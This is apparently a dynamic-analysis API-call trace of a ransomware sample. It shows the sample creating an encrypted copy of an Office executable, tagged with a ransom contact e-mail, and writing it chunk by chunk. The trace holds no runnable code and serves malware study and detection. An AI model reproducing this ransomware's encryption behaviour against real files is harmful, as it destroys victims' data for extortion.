[0118.077] GetLastError () returned 0x0 [0118.078] GetLastError () returned 0x0 [0118.078] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265328 | out: hHeap=0x2ad0000) returned 1 [0118.078] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2510 | out: hHeap=0x2ad0000) returned 1 [0118.078] GetLastError () returned 0x0 [0118.078] GetLastError () returned 0x0 [0118.078] GetLastError () returned 0x0 [0118.078] GetLastError () returned 0x0 [0118.078] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0118.078] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265468 [0118.079] GetLastError () returned 0x0 [0118.079] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0118.079] GetFileType (hFile=0x3ac) returned 0x1 [0118.079] GetLastError () returned 0x0 [0118.079] GetLastError () returned 0x0 [0118.079] GetFileType (hFile=0x3ac) returned 0x1 [0118.079] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0118.080] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0118.080] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0118.080] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0118.080] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0118.080] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0118.080] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0118.080] GetLastError () returned 0x0 [0118.080] GetLastError () returned 0x0 [0118.080] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265468 | out: hHeap=0x2ad0000) returned 1 [0118.080] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d61e0 | out: hHeap=0x2ad0000) returned 1 [0118.080] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0118.081] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0118.081] GetLastError () returned 0x0 [0118.081] GetLastError () returned 0x0 [0118.081] GetLastError () returned 0x0 [0118.081] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0118.081] GetLastError () returned 0x0 [0118.081] GetLastError () returned 0x0 [0118.081] GetLastError () returned 0x0 [0118.081] GetLastError () returned 0x0 [0118.081] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.083] GetLastError () returned 0x0 [0118.084] GetCurrentThreadId () returned 0x9b0 [0118.084] GetLastError () returned 0x0 [0118.084] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265288 | out: hHeap=0x2ad0000) returned 1 [0118.084] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0118.084] GetCurrentThreadId () returned 0x9b0 [0118.085] GetLastError () returned 0x0 [0118.085] GetLastError () returned 0x0 [0118.085] GetLastError () returned 0x0 [0118.085] GetLastError () returned 0x0 [0118.085] GetCurrentThreadId () returned 0x9b0 [0118.085] GetLastError () returned 0x0 [0118.085] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.085] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0118.085] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0118.086] GetLastError () returned 0x0 [0118.086] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.087] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.088] GetLastError () returned 0x0 [0118.088] GetCurrentThreadId () returned 0x9b0 [0118.088] GetLastError () returned 0x0 [0118.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0118.088] GetLastError () returned 0x0 [0118.088] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.089] GetLastError () returned 0x0 [0118.089] GetCurrentThreadId () returned 0x9b0 [0118.089] GetLastError () returned 0x0 [0118.089] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.089] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265288 [0118.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0118.090] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0118.090] GetCurrentThreadId () returned 0x9b0 [0118.090] GetLastError () returned 0x0 [0118.090] GetLastError () returned 0x0 [0118.090] GetLastError () returned 0x0 [0118.090] GetLastError () returned 0x0 [0118.090] GetCurrentThreadId () returned 0x9b0 [0118.090] GetLastError () returned 0x0 [0118.091] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.091] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0118.091] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0118.091] GetLastError () returned 0x0 [0118.091] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.091] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.092] GetLastError () returned 0x0 [0118.092] GetCurrentThreadId () returned 0x9b0 [0118.092] GetLastError () returned 0x0 [0118.092] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.092] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0118.093] GetLastError () returned 0x0 [0118.093] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.094] GetLastError () returned 0x0 [0118.095] GetCurrentThreadId () returned 0x9b0 [0118.095] GetLastError () returned 0x0 [0118.095] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.095] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652a8 [0118.095] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265288 | out: hHeap=0x2ad0000) returned 1 [0118.095] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0118.095] GetCurrentThreadId () returned 0x9b0 [0118.095] GetLastError () returned 0x0 [0118.095] GetLastError () returned 0x0 [0118.096] GetLastError () returned 0x0 [0118.096] GetLastError () returned 0x0 [0118.096] GetCurrentThreadId () returned 0x9b0 [0118.096] GetLastError () returned 0x0 [0118.096] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.096] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0118.096] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0118.096] GetLastError () returned 0x0 [0118.096] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.097] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.098] GetLastError () returned 0x0 [0118.098] GetCurrentThreadId () returned 0x9b0 [0118.098] GetLastError () returned 0x0 [0118.098] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.098] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0118.098] GetLastError () returned 0x0 [0118.098] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.099] GetLastError () returned 0x0 [0118.099] GetCurrentThreadId () returned 0x9b0 [0118.099] GetLastError () returned 0x0 [0118.099] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.100] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653f8 [0118.100] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652a8 | out: hHeap=0x2ad0000) returned 1 [0118.100] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0118.100] GetCurrentThreadId () returned 0x9b0 [0118.100] GetLastError () returned 0x0 [0118.100] GetLastError () returned 0x0 [0118.100] GetLastError () returned 0x0 [0118.100] GetLastError () returned 0x0 [0118.101] GetCurrentThreadId () returned 0x9b0 [0118.101] GetLastError () returned 0x0 [0118.101] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.101] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0118.101] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0118.101] GetLastError () returned 0x0 [0118.101] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.101] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.102] GetLastError () returned 0x0 [0118.102] GetCurrentThreadId () returned 0x9b0 [0118.103] GetLastError () returned 0x0 [0118.103] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.103] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0118.103] GetLastError () returned 0x0 [0118.103] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.104] GetLastError () returned 0x0 [0118.105] GetCurrentThreadId () returned 0x9b0 [0118.105] GetLastError () returned 0x0 [0118.105] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.105] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653b8 [0118.105] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653f8 | out: hHeap=0x2ad0000) returned 1 [0118.105] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0118.105] GetCurrentThreadId () returned 0x9b0 [0118.105] GetLastError () returned 0x0 [0118.105] GetLastError () returned 0x0 [0118.106] GetLastError () returned 0x0 [0118.106] GetLastError () returned 0x0 [0118.106] GetCurrentThreadId () returned 0x9b0 [0118.106] GetLastError () returned 0x0 [0118.106] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.106] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0118.106] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0118.106] GetLastError () returned 0x0 [0118.106] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.107] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.108] GetLastError () returned 0x0 [0118.108] GetCurrentThreadId () returned 0x9b0 [0118.108] GetLastError () returned 0x0 [0118.108] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.108] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0118.109] GetLastError () returned 0x0 [0118.109] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.110] GetLastError () returned 0x0 [0118.110] GetCurrentThreadId () returned 0x9b0 [0118.110] GetLastError () returned 0x0 [0118.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.110] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265448 [0118.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653b8 | out: hHeap=0x2ad0000) returned 1 [0118.110] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0118.110] GetCurrentThreadId () returned 0x9b0 [0118.111] GetLastError () returned 0x0 [0118.111] GetLastError () returned 0x0 [0118.111] GetLastError () returned 0x0 [0118.111] GetLastError () returned 0x0 [0118.111] GetCurrentThreadId () returned 0x9b0 [0118.111] GetLastError () returned 0x0 [0118.111] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.111] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0118.111] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0118.112] GetLastError () returned 0x0 [0118.112] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.112] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.113] GetLastError () returned 0x0 [0118.113] GetCurrentThreadId () returned 0x9b0 [0118.113] GetLastError () returned 0x0 [0118.113] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.113] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0118.113] GetLastError () returned 0x0 [0118.113] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.114] GetLastError () returned 0x0 [0118.114] GetCurrentThreadId () returned 0x9b0 [0118.114] GetLastError () returned 0x0 [0118.114] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.114] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265318 [0118.114] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265448 | out: hHeap=0x2ad0000) returned 1 [0118.114] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0118.114] GetLastError () returned 0x0 [0118.114] GetLastError () returned 0x0 [0118.115] GetLastError () returned 0x0 [0118.115] GetLastError () returned 0x0 [0118.115] GetCurrentThreadId () returned 0x9b0 [0118.115] GetLastError () returned 0x0 [0118.115] GetCurrentThreadId () returned 0x9b0 [0118.115] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0118.115] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.115] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0118.115] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0118.115] GetLastError () returned 0x0 [0118.115] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.116] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.117] GetLastError () returned 0x0 [0118.117] GetCurrentThreadId () returned 0x9b0 [0118.117] GetLastError () returned 0x0 [0118.117] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.117] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0118.117] GetLastError () returned 0x0 [0118.117] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.119] GetLastError () returned 0x0 [0118.119] GetCurrentThreadId () returned 0x9b0 [0118.119] GetLastError () returned 0x0 [0118.119] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.119] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653a8 [0118.119] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265318 | out: hHeap=0x2ad0000) returned 1 [0118.119] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0118.120] GetLastError () returned 0x0 [0118.120] GetLastError () returned 0x0 [0118.120] GetLastError () returned 0x0 [0118.120] GetLastError () returned 0x0 [0118.120] GetCurrentThreadId () returned 0x9b0 [0118.120] GetLastError () returned 0x0 [0118.120] GetCurrentThreadId () returned 0x9b0 [0118.120] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.120] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0118.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0118.121] GetLastError () returned 0x0 [0118.121] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.121] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.122] GetLastError () returned 0x0 [0118.122] GetCurrentThreadId () returned 0x9b0 [0118.122] GetLastError () returned 0x0 [0118.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.122] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0118.123] GetLastError () returned 0x0 [0118.123] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.123] GetLastError () returned 0x0 [0118.123] GetCurrentThreadId () returned 0x9b0 [0118.123] GetLastError () returned 0x0 [0118.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.123] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265448 [0118.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653a8 | out: hHeap=0x2ad0000) returned 1 [0118.123] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0118.123] GetLastError () returned 0x0 [0118.124] GetLastError () returned 0x0 [0118.124] GetLastError () returned 0x0 [0118.124] GetLastError () returned 0x0 [0118.124] GetCurrentThreadId () returned 0x9b0 [0118.124] GetLastError () returned 0x0 [0118.124] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.124] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0118.124] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0118.124] GetLastError () returned 0x0 [0118.125] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.126] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.127] GetLastError () returned 0x0 [0118.127] GetCurrentThreadId () returned 0x9b0 [0118.127] GetLastError () returned 0x0 [0118.127] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.127] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0118.127] GetLastError () returned 0x0 [0118.127] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.128] GetLastError () returned 0x0 [0118.128] GetCurrentThreadId () returned 0x9b0 [0118.129] GetLastError () returned 0x0 [0118.129] GetCurrentThreadId () returned 0x9b0 [0118.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265288 [0118.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265448 | out: hHeap=0x2ad0000) returned 1 [0118.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0118.129] GetLastError () returned 0x0 [0118.129] GetLastError () returned 0x0 [0118.129] GetLastError () returned 0x0 [0118.130] GetLastError () returned 0x0 [0118.130] GetCurrentThreadId () returned 0x9b0 [0118.130] GetLastError () returned 0x0 [0118.130] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0118.130] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0118.130] GetLastError () returned 0x0 [0118.130] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.130] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, 